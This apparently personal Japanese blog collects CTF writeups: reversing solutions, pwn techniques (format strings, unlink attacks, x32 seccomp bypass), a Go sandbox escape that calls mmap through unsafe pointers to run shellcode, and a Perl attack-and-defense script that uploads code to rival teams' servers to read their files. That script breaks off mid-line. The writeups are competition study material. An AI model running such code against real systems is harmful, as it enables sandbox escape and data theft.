株式会社はてなに入社しました
年賀状CTF 2017 writeup
今年もid:nanuyokakinuさんによる年賀状CTFが開催されていたので参加した.
reversing問題が全部で3問.すべて解くと最後のフラグにAmazonのギフト券が書いてあり,お年玉が貰える.今年はなんと0x1337円.ありがとうございました :)
以下,解いた問題のwriteup.
stage1
% file stage1.exe stage1.exe: PE32+ executable for MS Windows (console) Mono/.Net assembly
64bitのPE.IDA Pro Freeが使えないのでHopperを使って読んだ.ただし,静的解析の妨害として,文字列がエンコードされているので,x64dbgというデバッガで動かしながら確認していった.
notepad.exeのプロセスのメモリをWriteProcessMemoryで書き換えている.ダンプするとまたPEが出てくるのでそれらしい処理をしているところを見ると,HappyNewYear2017
を鍵として暗号化したものがERV5vdff++FakEbRj0z8UyhZPPBYLLPm5xYAeVPPKsGlvRzPH4Bq+o1tZQB2wgzn
になればよいらしい.
stage1.exeに同様の___ENCRYPTKEY___
が鍵の復号処理があるので,それを流用した.
# -*- coding: utf-8 -*- import base64 import struct p = lambda x: struct.pack('<I', x) u = lambda x: struct.unpack('<I', x)[0] u4 = lambda x: [u(x[i:i+4]) for i in range(0, len(x), 4)] password = u4(base64.b64decode('ERV5vdff++FakEbRj0z8UyhZPPBYLLPm5xYAeVPPKsGlvRzPH4Bq+o1tZQB2wgzn')) enckey = u4('HappyNewYear2017') length = len(password) blocknum = 52 / length + 6 block = password[0] i_1 = blocknum * 0x9e3779b9 i_1 &= 0xffffffff for _ in range(blocknum): i_2 = (i_1 >> 2) & 3 for j in range(length-1, -1, -1): c = password[j-1] edx = (c >> 5) ^ ((block << 2) & 0xffffffff) r8d = (block >> 3) ^ ((c << 4) & 0xffffffff) ecx = edx + r8d ecx &= 0xffffffff edx = block ^ i_1 r8d = enckey[(j & 3) ^ i_2] ^ c edx += r8d edx &= 0xffffffff ecx ^= edx eax = password[j] eax -= ecx eax &= 0xffffffff d = eax password[j] = d block = d i_1 -= 0x9e3779b9 i_1 &= 0xffffffff print ''.join([p(x) for x in password])
NYC{L0gg1ng_Cl1pb04rd_w17h_Dll_1nj3c710n})
notepad.exeに対して,dll injectionを行い,その中でクリップボードのデータからフラグチェックを行うものだったらしい.
stage2
WebAssembly!! wasmファイルが同梱されていて,フラグチェックがWebAssembly上で行われる.ブラウザ上で動かす場合,Chromeならchrome://flags/#enable-webassembly
から有効にできる.
まずはwasmをwastに変換して読み始める. https://github.com/WebAssembly/wabt にあるwasm2wastを使うと変換できる.命令セットについては, https://github.com/WebAssembly/design/blob/master/BinaryEncoding.md を参照.
main関数まわりを読んでみると,スタックに引数を積んでいきながら命令を実行していくスタックマシンのようなかんじ.ローカル変数は関数に渡された引数,関数内で使っている変数という順番に番号が振られる.
stage2.htmlを見ると,main関数にコマンドライン引数として比較される文字列を渡している. main(func 28)を見ると,2つの引数argc, argvを持っていることが分かる.コード中に*(argv+4)のような処理があるので合っているはず.
(func (;28;) (type 1) (param i32 i32) (result i32) (local i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32) block i32 ;; label = @1 get_global 9 set_local 47 get_global 9 i32.const 32 i32.add set_global 9 get_global 9 get_global 10 i32.ge_s if ;; label = @2 i32.const 32 call 3 end i32.const 0 set_local 12 get_local 0 set_local 23 get_local 1 set_local 34 get_local 34 set_local 44 get_local 44 i32.const 4 i32.add set_local 45 get_local 45 i32.load set_local 2 get_local 2 call 41 set_local 3 get_local 3 set_local 42 get_local 42 set_local 4 get_local 4 i32.const 46 i32.ne set_local 5 get_local 5 i32.eqz if ;; label = @2 get_local 42 set_local 6 get_local 6 i32.const 1 i32.add set_local 7 get_local 7 i32.const 1 call 52 set_local 8 get_local 8 set_local 41 get_local 41 set_local 9 get_local 34 set_local 10 get_local 10 i32.const 4 i32.add set_local 11 get_local 11 i32.load set_local 13 get_local 9 get_local 13 call 42 drop i32.const 0 set_local 43 loop ;; label = @3 block ;; label = @4 get_local 43 set_local 14 get_local 42 set_local 15 get_local 14 get_local 15 i32.lt_u set_local 16 get_local 16 i32.eqz if ;; label = @5 br 1 (;@4;) end get_local 43 set_local 17 get_local 41 set_local 18 get_local 18 get_local 17 i32.add set_local 19 get_local 19 i32.load8_s set_local 20 get_local 20 i32.const 255 i32.and set_local 21 get_local 21 i32.const 255 i32.xor set_local 22 get_local 22 i32.const 255 i32.and set_local 24 get_local 19 get_local 24 i32.store8 get_local 43 set_local 25 get_local 41 set_local 26 get_local 26 get_local 25 i32.add set_local 27 get_local 27 i32.load8_s set_local 28 get_local 28 call 27 set_local 29 get_local 29 call 3 get_local 43 set_local 30 get_local 41 set_local 31 get_local 31 get_local 30 i32.add set_local 32 get_local 32 get_local 29 i32.store8 get_local 43 set_local 33 get_local 33 i32.const 1 i32.add set_local 35 get_local 35 set_local 43 br 1 (;@3;) end end get_local 41 set_local 36 get_local 42 set_local 37 get_local 36 i32.const 1144 get_local 37 call 37 set_local 38 get_local 38 i32.const 0 i32.ne set_local 39 get_local 39 i32.eqz if ;; label = @3 i32.const 1195 call 49 drop i32.const 1 set_local 12 get_local 12 set_local 40 get_local 47 set_global 9 get_local 40 return end end i32.const 1191 call 49 drop i32.const 0 set_local 12 get_local 12 set_local 40 get_local 47 set_global 9 get_local 40 return end)
これだと読みにくいので,擬似コードに直すスクリプトを書いて変換して読んだ.
@1: { l[47] = g[9] g[9] = g[9] + 32 if g[9] >= g[10] { call 3(32) } l[12] = 0 l[23] = l[0] l[34] = l[1] l[44] = l[34] l[45] = l[44] + 4 l[2] = *l[45] call 41(l[2]) # strlen l[3] = RETVAL l[42] = l[3] l[4] = l[42] l[5] = l[4] != 46 # 入力は46文字 if l[5] == 0 { l[6] = l[42] l[7] = l[6] + 1 call 52(l[7], 1) # バッファの確保? l[8] = RETVAL l[41] = l[8] l[9] = l[41] l[10] = l[34] l[11] = l[10] + 4 l[13] = *l[11] call 42(l[9], l[13]) # 確保したバッファに文字列をコピー? drop l[43] = 0 loop@3: { @4: { l[14] = l[43] l[15] = l[42] l[16] = l[14] < l[15] if l[16] == 0 { br (;@4;) } l[17] = l[43] l[18] = l[41] # 渡された文字列 l[19] = l[18] + l[17] l[20] = *l[19] l[21] = l[20] & 255 l[22] = l[21] ^ 255 l[24] = l[22] & 255 *l[19] = l[24] l[25] = l[43] l[26] = l[41] l[27] = l[26] + l[25] l[28] = *l[27] call 27(l[28]) # 変換 l[29] = RETVAL l[30] = l[43] l[31] = l[41] l[32] = l[31] + l[30] *l[32] = l[29] l[33] = l[43] l[35] = l[33] + 1 l[43] = l[35] br (;@3;) } } l[36] = l[41] l[37] = l[42] # call 37(l[36], 1144, l[37]) # strncmp l[38] = RETVAL l[39] = l[38] != 0 if l[39] { call 49(1195) # good drop l[12] = 1 l[40] = l[12] g[9] = l[47] return l[40] } } call 49(1191) # bad drop l[12] = 0 l[40] = l[12] g[9] = l[47] return l[40] }
func 27:
@1: { l[8] = g[9] g[9] = g[9] + 16 if g[9] >= g[10] { call 3(16) } l[1] = l[0] l[2] = l[1] call 26(l[2], 12, 2) l[3] = RETVAL l[1] = l[3] l[4] = l[1] call 26(l[4], 34, 1) l[5] = RETVAL l[1] = l[5] l[6] = l[1] g[9] = l[8] return l[6] }
func 26:
@1: { l[31] = g[9] g[9] = g[9] + 16 if g[9] >= g[10] { call 3(16) } l[23] = l[0] l[24] = l[1] l[25] = l[2] l[27] = l[23] l[28] = l[27] & 255 l[29] = l[25] l[3] = l[28] >> l[29] l[4] = l[23] l[5] = l[4] & 255 l[6] = l[3] ^ l[5] l[7] = l[24] l[8] = l[7] & 255 l[9] = l[6] & l[8] l[10] = l[9] & 255 l[26] = l[10] l[11] = l[23] l[12] = l[11] & 255 l[13] = l[26] l[14] = l[13] & 255 l[15] = l[12] ^ l[14] l[16] = l[26] l[17] = l[16] & 255 l[18] = l[25] l[19] = l[17] << l[18] l[20] = l[15] ^ l[19] l[21] = l[20] & 255 l[23] = l[21] l[22] = l[23] g[9] = l[31] return l[22] }
後半に表われる1144や1195, 1191はデータを参照している.
(data (i32.const 1024) "\04\04\00\00\05\00\00\00\00\00\00\00\00\00\00\00\01\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\02\00\00\00\03\00\00\00\d8\06\00\00\00\04\00\00\00\00\00\00\00\00\00\00\01\00\00\00\00\00\00\00\00\00\00\00\00\00\00\0a\ff\ff\ff\ff\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\04\04\00\00\8b\9c\da\90\c8\f0\d3\e5\d0\d0\f0\86\d3\87\94\88\e5\83\c7\88\87\87\c1\86\88\e5\d1\f0\88\c9\f0\d1\94\88\f4\83\e0\f0\d1\f0\e4\e0\f4\83\c2\84\00bad\00good"))
手軽にデバッグするがないか探していたら,importされているabortStackOverflowを使うとabortのメッセージで値をリークできた.
例えば,ローカル変数28が文字列への参照だったときに,その先頭1バイトを確認する場合は以下のコードを追加して,wast2wasmでwasmに変換して実行する.
get_local 28 i32.load8_u call 3
入力を変換した後の結果が\x8b\x9c\xda\x90\xc8\xf0\xd3\xe5\xd0\xd0\xf0\x86\xd3\x87\x94\x88\xe5\x83\xc7\x88\x87\x87\xc1\x86\x88\xe5\xd1\xf0\x88\xc9\xf0\xd1\x94\x88\xf4\x83\xe0\xf0\xd1\xf0\xe4\xe0\xf4\x83\xc2\x84
になれば正解.
1文字ずつ総当たりして求めた.
# -*- coding: utf-8 -*- def func26(c, x, y): A = ((c >> y) ^ c) & x return (c ^ A) ^ (A << y) & 0xff def func27(c): return func26(func26(c, 12, 2), 34, 1) answer = '\x8b\x9c\xda\x90\xc8\xf0\xd3\xe5\xd0\xd0\xf0\x86\xd3\x87\x94\x88\xe5\x83\xc7\x88\x87\x87\xc1\x86\x88\xe5\xd1\xf0\x88\xc9\xf0\xd1\x94\x88\xf4\x83\xe0\xf0\xd1\xf0\xe4\xe0\xf4\x83\xc2\x84' flag = '' for i in range(46): for c in range(0x20, 0x7f): if (ord(answer[i])) == func27(c ^ 0xff): flag += chr(c) break print flag
NYC{W3b4ss3mbly_4nd_llvm_4r3_V3ry_1n73r3571ng}
stage3
dlangバイナリ.Hopperにはdlangのdemangle機能がないので,objdump --demangle=dlang --sym stage3
の結果を見ながら解析する.
stage1と同様に,この問題でも文字列がエンコードされているので,デバッガで動かしながら確認していくとhttps://userstream.twitter.com/1.1/user.json
という文字列やstage3.send_dm
という関数があるので,Twitterに関連した問題だと分かる.
DMを経由してコマンドを実行するC2サーバのような動作をしている.
.dataセクションにOAuthのconsumer keyとaccess tokenだけではなく,consumer secretとaccess token secretが残っているのでこれを利用すると,@mytyl_nyctfのDMの内容を見ることができる.@tyltyl_nyctfとDMでやりとりされており,その内容がコマンドの実行結果となっている.
コマンド,実行結果は以下の手順で暗号化されている.
- zlibで圧縮
- RC4で暗号化 (key=
Thank you for playing! Almost there!
) - カスタムテーブルを持ったBase64でエンコード (table=
TXyU9lM5VfHkRS0YgvK4hcnb~CEIFBQ7r3zdAqO6DNe2p8sxmtL_JuGa1joZWiP-w
)
逆の手順を行うことで復号することができる.カスタムBase64,RC4というとDaserfっぽい.
import base64 import string import zlib from Crypto.Cipher import ARC4 transtable = string.maketrans( 'TXyU9lM5VfHkRS0YgvK4hcnb~CEIFBQ7r3zdAqO6DNe2p8sxmtL_JuGa1joZWiP-w', 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=' ) rc4_key = 'Thank you for playing! Almost there!' enc = [ 'D7puoyfhNkq6zCko6gRw', 'D78ZUUn0eWXadhnHJp3tF7E_3Yg~oAvG~jY6f2nWK8nyixt-Ax8~ifbWeEgP7V1W1Q0lbvYmZaIIX1_x7UhB9tdzgVIHtUeQbNjODzO15A45sNVlKMN5jPZ9Ra30l6D5LOyUv_6I5y1lcglgk4PH1U3TFpZE', 'D7suzudHbRRLnhE1cZTeZxcnPWf8Xu1Ynmww', open('encflag', 'r').read(), ] for x in enc: x = x.translate(transtable) x = base64.b64decode(x) x = ARC4.new(rc4_key).decrypt(x) x = zlib.decompress(x) print x
ls -la total 5152 drwxr-xr-x 1 vagrant vagrant 136 Dec 31 16:37 . drwxr-xr-x 1 vagrant vagrant 306 Dec 31 16:28 .. -rw-r--r-- 1 vagrant vagrant 6980 Dec 31 16:33 flag.jpg -rwxr-xr-x 1 vagrant vagrant 5264181 Dec 31 16:09 stage3 base64 ./flag.jpg /9j/4AAQSkZJRgABAQEASABIAAD/4QCMRXhpZgAATU0AKgAAAAgABgEGAAMAAAABAAIAAAESAAMA ...
デコードするとギフト券番号が書いてある画像が出てくる.
まずはCTFの過去問を解く
この記事は,CTF Advent Calendar 2016の1日目です.
CTFプレイヤーたるもの,日々の鍛錬は欠かせません. 過去問を解いてこそ,競技中に真の実力を発揮することができるのです.
ということで,bata_24さんが公開しているpwn challenges list - Pastebin.comを管理できるページを作成しました.
http://ctf.katsudon.org/ctf4u/
CTF Advent Calendar 2016 - Adventar にはまだ空きがあるようなので,過去問のwriteupを書いてくれる方をお待ちしています.
全完目指して頑張りましょう.お楽しみください.
高速にリストからハッシュにする
いまいちピンとくる言い方が分からないけれど,つまりはこういうこと.
[ { id => 1, value => 'foo', }, { id => 2, value => 'bar', }, ]
このようなデータ構造があったときに,以下のようにidをkeyとしてハッシュにしたい.
{ 1 => { id => 1, value => 'foo', }, 2 => { id => 2, value => 'bar', } }
割とよくあることなので,普段はmap
を使ってこのように書いている.
my $x = +{map { ($_->{id} => $_) } @users};
これは,List::Util
のreduce
を使っても同じように書ける.引数の先頭がハッシュリファレンスになっていて,それを引き回すことで実現している.
use List::Util qw/reduce/; my $x = reduce { $a->{$b->{id}} = $b; $a } ({}, @users);
実は,reduce
で書いたコードはmap
よりも40%程度ではあるが若干早く動作する.一見map
のほうがシンプルで値を返しているだけなので早く動作するように見えるがそうではない.
気になったのでList::Util
のコードを見てみたところ,lightweight callbackを使って実装されていた.
https://metacpan.org/source/PEVANS/Scalar-List-Utils-1.46/ListUtil.xs#L370-430
lightweight callbackについてはperldoc perlcall
に少しだけではあるがドキュメントが存在する.ループ中に同じ関数を何度も呼び出すようなケースに使う.
reduce
で書いたコードが早いのはlightweight callbackのおかげらしい.ということで,List::Util
のコードを参考に,lightweight callbackを使って高速にリストからハッシュにする処理を書いてみた.
名前が思い付かなかったのでそのままto_hash
に……
List::Util
のコードはコアモジュールだからかポータブルな実装.ifdef
たくさん.$_
はGvSV(PL_defgv)
- 返り値は関数呼び出し後に
*PL_stack_sp
を参照 - Perlのハッシュは,キーにundefを指定することができない(空文字列になる)
ベンチマークは以下の通り.
use strict; use warnings; use Benchmark qw/:all/; use List::ToHash; use List::Util; my @ARRAY; for my $i (1..100) { push @ARRAY, { id => $i, value => '.' x 100, }; } cmpthese(timethese(0, { map => sub { my $x = +{map { ($_->{id} => $_) } @ARRAY}; }, reduce => sub { my $x = List::Util::reduce { $a->{$b->{id}} = $b; $a } ({}, @ARRAY); }, for => sub { my $x = {}; $x->{$_->{id}} = $_ for @ARRAY; $x; }, to_hash => sub { my $x = List::ToHash::to_hash { $_->{id} } @ARRAY; }, }));
Benchmark: running for, map, reduce, to_hash for at least 3 CPU seconds... for: 3 wallclock secs ( 3.18 usr + 0.01 sys = 3.19 CPU) @ 19303.13/s (n=61577) map: 3 wallclock secs ( 3.13 usr + 0.02 sys = 3.15 CPU) @ 13437.46/s (n=42328) reduce: 3 wallclock secs ( 3.20 usr + 0.02 sys = 3.22 CPU) @ 18504.66/s (n=59585) to_hash: 4 wallclock secs ( 3.12 usr + 0.01 sys = 3.13 CPU) @ 26635.78/s (n=83370) Rate map reduce for to_hash map 13437/s -- -27% -30% -50% reduce 18505/s 38% -- -4% -31% for 19303/s 44% 4% -- -28% to_hash 26636/s 98% 44% 38% --
結果としては,map
よりも2倍早く処理することができた.ただこの程度であれば微々たる差のように見える.結局はmap
使っておけば良さそう.
Tokyo Westerns / MMA CTF 2nd 2016: greeting, Interpreter, diary, Candy Store, shadow
greeting
Host : pwn2.chal.ctf.westerns.tokyo Port : 16317 greeting Note: DoS攻撃に対する対策の為,出力が131072文字に制限されています.
main関数のみのシンプルなバイナリ.FSBがあるが,その後すぐにreturnするため1度しか実行できないように見える.FSBによる攻擊の流れは以下の通り.
- stack上のreturn addressの位置をリーク
- 必要であればlibcのアドレスリーク(今回はsystemがpltに存在するので不要)
- stackを書き換えて
system("/bin/sh")
を実行
今回の場合は,.fini_array
をmain関数のアドレスに書き換えることで再度mainを呼ぶことができるようになり,上記の攻擊が可能となる.
入力文字列をsprintfに投げてからFSBが発生するため,最初に20文字文字が書き込まれている.libformatstrを使う場合はstart_len
を指定する必要があることに注意.
最後にsystem("/bin/sh")
を実行するにあたって,"/bin/sh"
をアドレス上に配置,または取得するのが面倒なときがある.このようなときには"sh\0"
や"ed\0"
を探すと良い.
今回の問題バイナリでは.dyn_str
上に"_IO_stdin_used\0"
が存在したので,それを利用した.シェルを起動するときには,ed上で!sh
を入力するとshが起動できる.
exploit: greeting - Tokyo Westerns / MMA CTF 2nd 2016
Interpreter
$ nc pwn1.chal.ctf.westerns.tokyo 62839 befunge.7z
befungeというプログラミング言語のインタプリタ.befungeでは,g
, p
命令を使うことで,プログラム上のメモリの読み書きができる.
ただし,Full RELROなので,GOTを書き換えて任意アドレスに飛ぶということができない.
GOTに書き込みはできないがリークはできるので,libcのベースアドレスをリークする.libc内に存在する__libc_argv
からスタック上にあるargv
のアドレスを取得し,mainのリターンアドレスを書き換えることにより,shellを起動した.
&
はscanf("%d", number)
より数値を入力してその値をスタックpushする.スタックのpush時には,movsxd
により64bit長のレジスタに符号拡張されるため,signed intの範囲よりも大きい数値を入力したい場合は2つの値の掛け算により表現する必要があった.
exploit: Interpreter - Tokyo Westerns / MMA CTF 2nd 2016
diary
Host : pwn1.chal.ctf.westerns.tokyo Port : 13856 もし必要であるなら,./bash が使えます. diary
独自mallocにより管理される.確保される領域はrwxであるため,おそらくheap上に飛んでshellcode実行させる問題だろうと思われる.
getnlineにはoff by oneの脆弱性がある.これにより,独自mallocで管理されるchunkのサイズを書き換えることができる.これを利用することでchunkがfree済みかどうかの状態を自分で指定でき,free済みchunkのlinked listの状態を書き換えることができるようになる.
あとは,unlink attackによりGOTを書き換えheap上のshellcodeに飛ばす.
この問題ではseccomp mode 2により実行できるsyscallが制限されている.
bpf filterのdisassembleにはlibseccompに付属しているscmp_bpf_disam
を使う.ただしsyscall番号をそのまま表示してしまうので読みにくい.拙作のdisas-seccomp-filter akitools/disas-seccomp-filter at master · akiym/akitools · GitHub を使うと読みやすいようにしてくれる.
line OP JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000000 ld seccomp_data.nr 0001: 0x15 0x00 0x01 0x00000002 jeq SYS_open true:0002 false:0003 0002: 0x06 0x00 0x00 0x00000000 ret KILL 0003: 0x15 0x00 0x01 0x00000101 jeq SYS_openat true:0004 false:0005 0004: 0x06 0x00 0x00 0x00000000 ret KILL 0005: 0x15 0x00 0x01 0x0000003b jeq SYS_execve true:0006 false:0007 0006: 0x06 0x00 0x00 0x00000000 ret KILL 0007: 0x15 0x00 0x01 0x00000038 jeq SYS_clone true:0008 false:0009 0008: 0x06 0x00 0x00 0x00000000 ret KILL 0009: 0x15 0x00 0x01 0x00000039 jeq SYS_fork true:0010 false:0011 0010: 0x06 0x00 0x00 0x00000000 ret KILL 0011: 0x15 0x00 0x01 0x0000003a jeq SYS_vfork true:0012 false:0013 0012: 0x06 0x00 0x00 0x00000000 ret KILL 0013: 0x15 0x00 0x01 0x00000055 jeq SYS_creat true:0014 false:0015 0014: 0x06 0x00 0x00 0x00000000 ret KILL 0015: 0x15 0x00 0x01 0x00000142 jeq 0x142 true:0016 false:0017 0016: 0x06 0x00 0x00 0x00000000 ret KILL 0017: 0x06 0x00 0x00 0x7fff0000 ret ALLOW
特定のsyscallのみを拒否するブラックリスト方式による制限を行っている.アーキテクチャチェックとsyscall番号の上限チェックが行われていない.今回はsyscall番号の上限チェック不備によるx32 syscallを呼ぶようにした.
exploit: diary - Tokyo Westerns / MMA CTF 2nd 2016
Candy Store
Host : candystore1.chal.ctf.westerns.tokyo Port : 11111 Do you want something sweet...? candystore -- 更新1: flagは「/home/candystore/flag」にあります. また, このバイナリは最新のRaspbian上で動作しています.
この問題はコンテスト終了後に解いた.ARMのバイナリ.動作やデバッグはQEMUのarmhf環境上で行った.
adminモードにてストア名の書き換え,アイテムの追加や削除ができる.ただし,admin(パスワードはランダム)でなければいけない.
profileの入力時にadmin flagの書き換えが発生するため,パスワードを知らなくてもadminモードに移行できる.
adminモードではmax item amount
を変更することができるが,現在の値よりも大きい数を指定すると拒否される.
bhi
による比較ではあるが,そもそもread_int32
関数内で呼ばれるatoi
はsigned intの正の範囲のみを返すため,任意の値に書き換えることができない.
ストア名に限界の128文字まで指定して,末尾に\0を含めないようにすることで,strcpy
時にmax item amount
の書き換えができるようになる.
ストアのアイテムは16個以下であることが決めうちされているため,それ以上追加するとストア名が入っているバッファにはみ出る.これを使うことで,アイテムのポインタを任意アドレスに書き換えることができ,リークができる.
orderコマンドにはスタックバッファオーバーフローの脆弱性が存在するが,stack canaryにより防がれている.canaryのリークをする必要がある.なんと,ARM環境ではcanaryの値が.bss
セクション上に存在する.すでに任意アドレスリークはできているので,canaryとlibcのアドレスをリークし,system("/bin/sh")
を実行すれば終わり.
exploit: Candy Store - Tokyo Westerns / MMA CTF 2nd 2016
作問者によると,これは想定していない解法とのこと.作問者自らwriteupを書くとのことなので期待.
https://twitter.com/hhc0null/status/773309856417652736
shadow
Host : pwn2.chal.ctf.westerns.tokyo Port : 18294 shadow
バッファオーバフローと任意アドレスの読み書きができる,明らかな脆弱性があるバイナリ.ただし,独自のmitigationにより関数のcall, retのチェックがされているため,任意のコードに飛ぶことすら難しい.
.bss
セクション上にはmitigationで使われているsp
, stack_buf
のアドレスが存在しているが以下のようなチェックが存在する.
sp
を書き換えたとしても,gs:0x20
に保存された値に上書きされてしまう.stack_buf
は正しい範囲に入ってなければいけない.
gs:0x20
はTLS上に配置されているため,TLSのアドレスを求めてgs:0x20
を丸ごと書き換えてしまえばmitigation自体のstackを置き換えて任意の関数を呼ぶことができるようになる.
TLSのアドレスはstack上に存在するため,リークするだけで求めることができる.
Teaser CONFidence DS CTF 2016 Go Sandbox 1, 2 - Go's unsafe is unsafe!
Go Sandbox (Pwning, 150)
We found a sandbox written in Go. It looks pretty solid, but there must be a bug somewhere. All you need to do for us is to execute ./get_flag IP: gobox.hackable.software:1337 Download
Golangのソースコードを実行するサンドボックス。./get_flag
を実行するとflagが得られる。
golangのバイナリはstatic linkされているためサイズが大きく解析がしにくい。main関数はmain.mainとしてシンボル定義されているので、そこから読んでいく。プログラムの流れは、ソースコードの入力、制限チェック、ビルドして実行するだけ。
main.checkProgram内でgo/parser
を使ってソースコードを静的解析して制限チェックを行う。ここではimportできるpackageが制限されており、以下の文字列が含まれるpackageが禁止されている。
archive, compress, crypto, database, debug, encoding, expvar, flag, go, html, image, internal, io, log, mime, net, os, path, reflect, runtime, syscall, testing, text, C
syscall
やC
が禁止されているので、直接execve syscallを呼ぶことができないが、ここではunsafe
が禁止されてないので、unsafe
を使って任意のコードを実行できるようにしてみる。
unsafe
unsafeはCのポインタ演算のようなことができる。この名前の通り、間違った使い方をすると危険。
アドレスに飛ぶ
まず、unsafe
でmain関数のアドレスを取得してみる。
f := main refAddr := uintptr(*(*int64)(unsafe.Pointer(&f))) addr := uintptr(*(*int64)(unsafe.Pointer(refAddr))) fmt.Printf("%x -> %x\n", refAddr, addr) #=> 52ae18 -> 401010
変数f
にはこのようにmain.mainのアドレスが入っており、この中身を変数addr
に代入している。
次に指定したアドレスに飛んでみる。
func test() { } func callAddr(addr uint64) unsafe.Pointer { p := int64(uintptr(unsafe.Pointer(&addr))) f := test *(*int64)(unsafe.Pointer(unsafe.Pointer(&f))) = p return unsafe.Pointer(&f) } func main() { pwned := *(*func())(callAddr(0xdeadbeef)) pwned() }
test関数へ参照しているポインタを指定したアドレスに書き換えてから関数呼び出しを行う。
ちなみにビルドされたバイナリはこのようになっている。インライン展開されているのとunsafe.Pointerは単純にポインタの演算になってしまっていることに注意。
アドレス0xdeadbeefは存在しないので、fatalするが0xdeadbeefには飛んでいることが分かる。
unexpected fault address 0xdeadbeef fatal error: fault [signal 0xb code=0x1 addr=0xdeadbeef pc=0xdeadbeef]
シェルコードを実行する
go 1.6ではNXが有効なのでheapやstackに共に実行できない。
嬉しいことに生成されるバイナリにはruntime.sysMmap
がリンクされているので、これを使ってexecutableなメモリ領域を確保してシェルコードを実行することができる。
runtime.sysMmap
は単純にmmap syscallを呼ぶだけの関数。
同じ環境でバイナリをビルドすることでruntime.sysMmap
のアドレスをあらかじめ知っておくことができる。(static linkされているのでアドレスは固定)
mmapを呼ぶことでアドレス0x1000000にrwxな領域を確保する。
mmap := *(*func(unsafe.Pointer, uintptr, int32, int32, int32, uint32))(callAddr(0x44e110)) // runtime.sysMmap shellcodeAddr := unsafe.Pointer(uintptr(0x1000000)) mmap(shellcodeAddr, 4096, 7, 0x32, -1, 0)
最後に確保した領域に./get_flag
を実行するシェルコードを書き込んで呼び出せば終わり。
flag: DrgnS{Uns4fe_Go_15_un5af3}
以上よりunsafe
が使えると任意のコードが実行できることが分かる。
Go Sandbox 2 (Pwning, 250)
The bug in the previous sandbox was fixed, but there's surely something wrong with this one too. The task is, as before, to execute ./get_flag IP: gobox2.hackable.software:1337 Download
前回と同じソースコードで通る。
flag: DrgnS{D4rn_5tR1ng_Int3Rpo14TI0n}
SECCON 2015 Intercollege 優勝しました
チームdodododoで参加して、29109ptで優勝しました。
チーム構成はakiym, xrekkusu, lrks, hiromuの4人。分担は、攻擊班akiymとlrks、防御班xrekkusuとhiromu。
今回のSECCON Intercollegeは学生限定ということで、通常の決勝とは違う、Attack & Defenseルール。各チームにroot権限サーバが1つ与えられ、その上で3つのサービスが動かす。それぞれに脆弱性があり、それを修正しながら、相手に攻擊するといったもの。
ルールを簡単に説明すると、5分毎に運営側からSLAのアクセスが飛んできて、動作しているサービスを経由してフラグがどこかに書き込まれる。正しく書き込まれているか確認出来なければdefense scoreが獲得できない、かつ総得点より3%の減点となる。正しくサービスを運用しつつ脆弱性を修正する必要がある。
他チームのフラグを入手し、サブミットすることが出来ればそのチームの3%のスコアを奪うことができる。4時間で攻擊、防御のバランスをどう取るかが難しいところ。
用意された問題は3つ。ジャンルはすべてwebだった。4時間しかないので、バイナリ問題はさすがに出題しなかったか…
vulnerable_blog, keiba
競技中はほぼ見てない。防御班に任せる。
sbox2015
Python。CGIで動いている。OS X, Windowsクライアントが配布されているが、実行するのが怖かったので、CGIのソースコードを読んだ。
単純にファイルアップローダ。ただし、アップロードしたファイルをeval.rb, eval.php, eval.pyのいずれかを経由して実行することができる。自由にRuby, PHP, Pythonのコードが実行されてしまう。
ちなみに、eval.pyの中身は以下のようになっている。
#!/usr/bin/python
import sys
g = { "INDATA": sys.argv[2], "OUTDATA": "" }
exec open(sys.argv[1]).read() in g
sys.stdout.write(g["OUTDATA"])
SLAチェックは運営側からOUTDATA = "3630329450522296302958265"
のようなリクエストが飛んでくる。問題の趣旨はいかにして、安全なコードを実行しつつ、他チームからの危険なコードを実行させないかである。sandboxのようなものを書いて欲しいのだろう。SLAは単純なので、50文字以上のリクエストを受け付けないようにしてみたところ、他チームから攻擊が確認されなかった。これでいいのか…よくよく考えてみるとexec(INDATA)
で回避できる。危ない。
SLAがちゃんとしたものなら、禁止ワードのフィルタをするなり、ファイル読めないようにopenを潰すとかで防ぐのが正攻法のような気がする。もう少し、攻擊と防御の時間があれば、もっと面白いことができそう。
大会終了後に気づいたが、sbox自体のフラグを守るのは簡単で、実行と同時にアップロードされたファイルを消すとか、ディレクトリのパーミッションをrwx---x--xにするだけだった。ただ、sboxを経由して別サービスのパスワードを読むスクリプトがアップロードされていて攻擊されていたので、さすがに任意コードを実行できる状態なのはまずい。
防御ができたところで、相手チームに攻擊するリクエストを投げる。
アップロードしたファイルは特定のディレクトリ以下に保存されるので、ファイルを時刻順に並びかえて中身をすべて出力させるPythonスクリプトを書く。これで対策がされていないチームのフラグを奪うことができる。
他チームに送信してフラグを奪うところまでスクリプトを書いておいて、スコアサーバへのサブミットは自動化が面倒だったので、全手動でやった。
スクリプトはこんなかんじ。急いで書いたので適当。
use v5.16; use warnings; use utf8; use LWP::UserAgent; my $ua = LWP::UserAgent->new( agent => 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36', ); my @ips = ( '10.100.2.1', '10.100.4.1', '10.100.5.1', '10.100.7.1', '10.100.8.1', '10.100.10.1', '10.100.12.1', '10.100.13.1', '10.100.16.1', '10.100.17.1', '10.100.18.1', #'10.100.3.1', #'10.100.6.1', #'10.100.9.1', #'10.100.14.1', #'10.100.15.1', ); for my $ip (@ips) { my $url = "http://$ip/cgi-bin/sbox2015/index.cgi"; my $res = $ua->post($url, Content_Type => 'form-data', Content => { 's' => 'upload', 't' => 'python', 'f' => ['attack.py'], }, ); my $play = $res->content; if ($play =~ /^2/) { $res = $ua->post($url, Content_Type => 'form-data', Content => { 's' => 'play', 'k' => $play, 'd' => '0', }, ); my (@files) = $res->content =~ /'(.+?\.txt)'/g; $res = $ua->post($url, Content_Type => 'form-data', Content => { 's' => 'play', 'k' => $play, 'd' => join(',', @files), }, ); #my ($flag) = $res->content =~ /OUTDATA = 